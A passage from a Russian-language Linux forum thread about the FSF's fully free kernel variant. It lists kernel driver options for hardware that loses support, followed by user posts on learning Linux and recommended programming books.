USB_S2255 - USB Sensoray 2255 video capture device                            
USB_VICAM - USB 3com HomeConnect, AKA vicam                                  
BNX2 - Broadcom NetXtremeII                                                  
BNX2X - Broadcom NetXtremeII 10Gb support                                    
CASSINI - Sun Cassini                                                        
CHELSIO_T3 - Chelsio AEL 2005 support                                        
MYRI_SBUS - MyriCOM Gigabit Ethernet                                          
MYRI10GE - Myricom Myri-10G Ethernet support                                  
R8169 - Realtek 8169 gigabit ethernet support                                
SLICOSS - Alacritech Gigabit IS-NIC cards                                    
SPIDER_NET - Spider Gigabit Ethernet driver                                  
TEHUTI - Tehuti Networks 10G Ethernet                                        
TIGON3 - Broadcom Tigon3                                                      
TYPHOON - 3cr990 series Typhoon                                              
COPS - COPS LocalTalk PC                                                      
YAM - YAM driver for AX.25                                                    
USB_IRDA - IrDA USB dongles                                                  
PCMCIA_SMC91C92 - SMC 91Cxx PCMCIA                                            
PCMCIA_3C574 - 3Com 3c574 PCMCIA support                                      
PCMCIA_3C589 - 3Com 3c589 PCMCIA support                                      
PCMCIA_PCNET - NE2000 compatible PCMCIA support                              
3C359 - 3Com 3C359 Token Link Velocity XL adapter                            
USB_KAWETH - USB KLSI KL5USB101-based ethernet device support                
B43 - Broadcom 43xx wireless support (mac80211 stack)                        
B43LEGACY - Broadcom 43xx-legacy wireless support (mac80211 stack)            
WLAGS49_H2 - Agere Systems HERMES II Wireless PC Card Model 0110              
WLAGS49_H25 - Linksys Systems HERMES II.5 Wireless-G_CompactFlash_Card        
IWLAGN - Intel Wireless WiFi Next Gen AGN                                    
IWL4965 - Intel Wireless WiFi 4965AGN                                        
IWL5000 - Intel Wireless WiFi 5000AGN                                        
IWM - Intel Wireless Multicomm 3200 WiFi driver                              
IWMC3200TOP - Intel Wireless MultiCom Top Driver                              
OTUS - Atheros OTUS 802.11n USB wireless support                              
P54_PCI - Prism54 PCI support                                                
P54_SPI - Prism54 SPI (stlc45xx) support                                      
P54_USB - Prism54 USB support                                                
RT2X00_LIB_FIRMWARE - Ralink driver firmware support                          
RT2800USB - Ralink rt2800 (USB) support                                      
RTL8192E - RealTek RTL8192E Wireless LAN NIC driver                          
RTL8192U - RealTek RTL8192U Wireless LAN NIC driver                          
RTL8192SU - RealTek RTL8192SU Wireless LAN NIC driver                        
VT6656 - VIA Technologies VT6656 support                                      
WL1251 - TI wl1251 support                                                    
WL1271 - TI wl1271 support                                                    
USB_ZD1201 - USB ZD1201 based Wireless device support                        
BT_ATH3K - Atheros firmware download driver                                  
BT_HCIBCM203X - HCI BCM203x USB driver                                        
BT_HCIBFUSB - HCI BlueFRITZ! USB driver                                      
BT_HCIBT3C - HCI BT3C (PC Card) driver                                        
BT_MRVL_SDIO - Marvell BT-over-SDIO driver                                    
WIMAX_I2400M - Intel Wireless WiMAX Connection 2400                          
ISDN_DIVAS - Support Eicon DIVA Server cards                                  
MISDN_SPEEDFAX - Support for Sedlbauer Speedfax+                              
SERIAL_ICOM - IBM Multiport Serial Adapter                                    
SERIAL_QE - Freescale QUICC Engine serial port support                        
COMEDI_PCI_DRIVERS - Data acquisition support Comedi PCI drivers              
COMEDI_USB_DRIVERS - Data acquisition support Comedi USB drivers              
SCSI_QLOGICPTI - PTI Qlogic, ISP Driver                                      
SCSI_ADVANSYS - AdvanSys SCSI
SCSI_BFA_FC - Brocade BFA Fibre Channel Support
SCSI_QLA_FC - QLogic QLA2XXX Fibre Channel Support
USB_CXACRU - Conexant AccessRunner USB support
USB_SPEEDTOUCH - Speedtouch USB support
USB_UEAGLEATM - ADI 930 and eagle USB DSL modem
USB_EMI26 - EMI 2|6 USB Audio interface
USB_EMI62 - EMI 6|2m USB Audio interface
USB_ISIGHTFW - iSight firmware loading support
USB_SERIAL_KEYSPAN - USB Keyspan USA-xxx Serial Driver
USB_SERIAL_KEYSPAN_PDA - USB Keyspan PDA Single Port Serial Driver
USB_SERIAL_EDGEPORT - USB Inside Out Edgeport Serial Driver
USB_SERIAL_EDGEPORT_TI - USB Inside Out Edgeport Serial Driver (TI devices)
USB_SERIAL_WHITEHEAT - USB ConnectTech WhiteHEAT Serial Driver
UWB_I1480U - Support for Intel Wireless UWB Link 1480 HWA
SND_KORG1212 - Korg 1212 IO
SND_SB16_CSP - SB16 Advanced Signal Processor
SND_WAVEFRONT - Turtle Beach Maui,Tropez,Tropez+ (Wavefront)
SND_VX_LIB - Digigram VX soundcards
SND_DARLA20 - (Echoaudio) Darla20
SND_DARLA24 - (Echoaudio) Darla24
SND_ECHO3G - (Echoaudio) 3G cards
SND_GINA20 - (Echoaudio) Gina20
SND_GINA24 - (Echoaudio) Gina24
SND_INDIGO - (Echoaudio) Indigo
SND_INDIGODJ - (Echoaudio) Indigo DJ
SND_INDIGODJX - (Echoaudio) Indigo DJx
SND_INDIGOIO - (Echoaudio) Indigo IO
SND_INDIGOIOX - (Echoaudio) Indigo IOx
SND_LAYLA20 - (Echoaudio) Layla20
SND_LAYLA24 - (Echoaudio) Layla24
SND_MIA - (Echoaudio) Mia
SND_MONA - (Echoaudio) Mona
SND_<(Echoaudio)> - (Echoaudio) all of the above
SND_EMU10K1 - Emu10k1 (SB Live!, Audigy, E-mu APS)
SND_MIXART - Digigram miXart
SND_PCXHR - Digigram PCXHR
SND_RIPTIDE - Conexant Riptide
SND_HDSP - RME Hammerfall DSP Audio
SND_AICA - Dreamcast Yamaha AICA sound
SND_MSND_PINNACLE - Support for Turtle Beach MultiSound Pinnacle
SND_MSND_CLASSIC - Support for Turtle Beach MultiSound Classic, Tahiti, Monterey
SOUND_MSNDCLAS - Support for Turtle Beach MultiSound Classic, Tahiti, Monterey (oss)
SOUND_MSNDPIN - Support for Turtle Beach MultiSound Pinnacle (oss)
SND_SSCAPE - Ensoniq SoundScape driver
SOUND_TRIX - MediaTrix AudioTrix Pro support
SOUND_TRIX - See above,
SOUND_PAS - ProAudioSpectrum 16 support,
SOUND_PSS - PSS (AD1848, ADSP-2115, ESC614) support
DX_SEP - Discretix SEP driver

Из знаменитостей

MICROCODE_AMD - AMD microcode patch loading support
MICROCODE_INTEL - Intel microcode patch loading support

DRM_NOUVEAU - Nouveau (nVidia) cards
DRM_RADEON - ATI Radeon

IWL3945 - Intel PRO/Wireless 3945ABG/BG Network Connection
R8169 - Realtek 8169 gigabit ethernet support
TIGON3 - Broadcom Tigon3
B43 - Broadcom 43xx wireless support (mac80211 stack)
SCSI_QLA_FC - QLogic QLA2XXX Fibre Channel Support
SOUND_SB - 100% Sound Blaster compatibles (SB16/32/64, ESS, Jazz16) support
SND_EMU10K1 - Emu10k1 (SB Live!, Audigy, E-mu APS)

Ответить | Правка | Наверх | Cообщить модератору

69. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от Дым (?), 14-Мрт-10, 12:28 
>>Простите но зачем мне такое ядро, если я с ним не смогу работать?
>
>Кто же виноват, в том что Вы не можете?! :)
>Сутки uptime и ничё работает, там поскипали дрова от железа экзотического...

А кто виноват, что никто-ничего-не-хочет-объяснять ?

OpenSource может быть и в софтах, но насчет распространения опыта работы с линуксом - полный и жесточаишй - copyright :(

Ответить | Правка | Наверх | Cообщить модератору

70. "Фонд свободного ПО выпустил полностью свободный вариант Linu..."  +/
Сообщение от pavlinux (ok), 14-Мрт-10, 19:24 
>А кто виноват, что никто-ничего-не-хочет-объяснять ?
>OpenSource может быть и в софтах, но насчет распространения опыта работы с
>линуксом - полный и жесточаишй - copyright :(

Накой хрен Вам опыт других, если он завтра уже не понадобится.

Для начала K&R (или Финогенова), Робачевский и какая нибудь мутатень про Linux для Чайников.

Потом по специализации:

Немет, TCP/IP Internals, Cisco Press (протоколы)  - для админов.
Advanced Linux Proggraming - для кодеров  + все выше перечисленное
Linux system programming  - для системщиков  + все выше перечисленное
Р.Лав + Бовет & Чезати + Смолски - для ядерщиков + все выше перечисленное

А дальше, чем больше книжек с животными на обложке, тем круче.
По Perl / MySQL / ProgreSQL / Regexp / Emacs  

Ответить | Правка | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру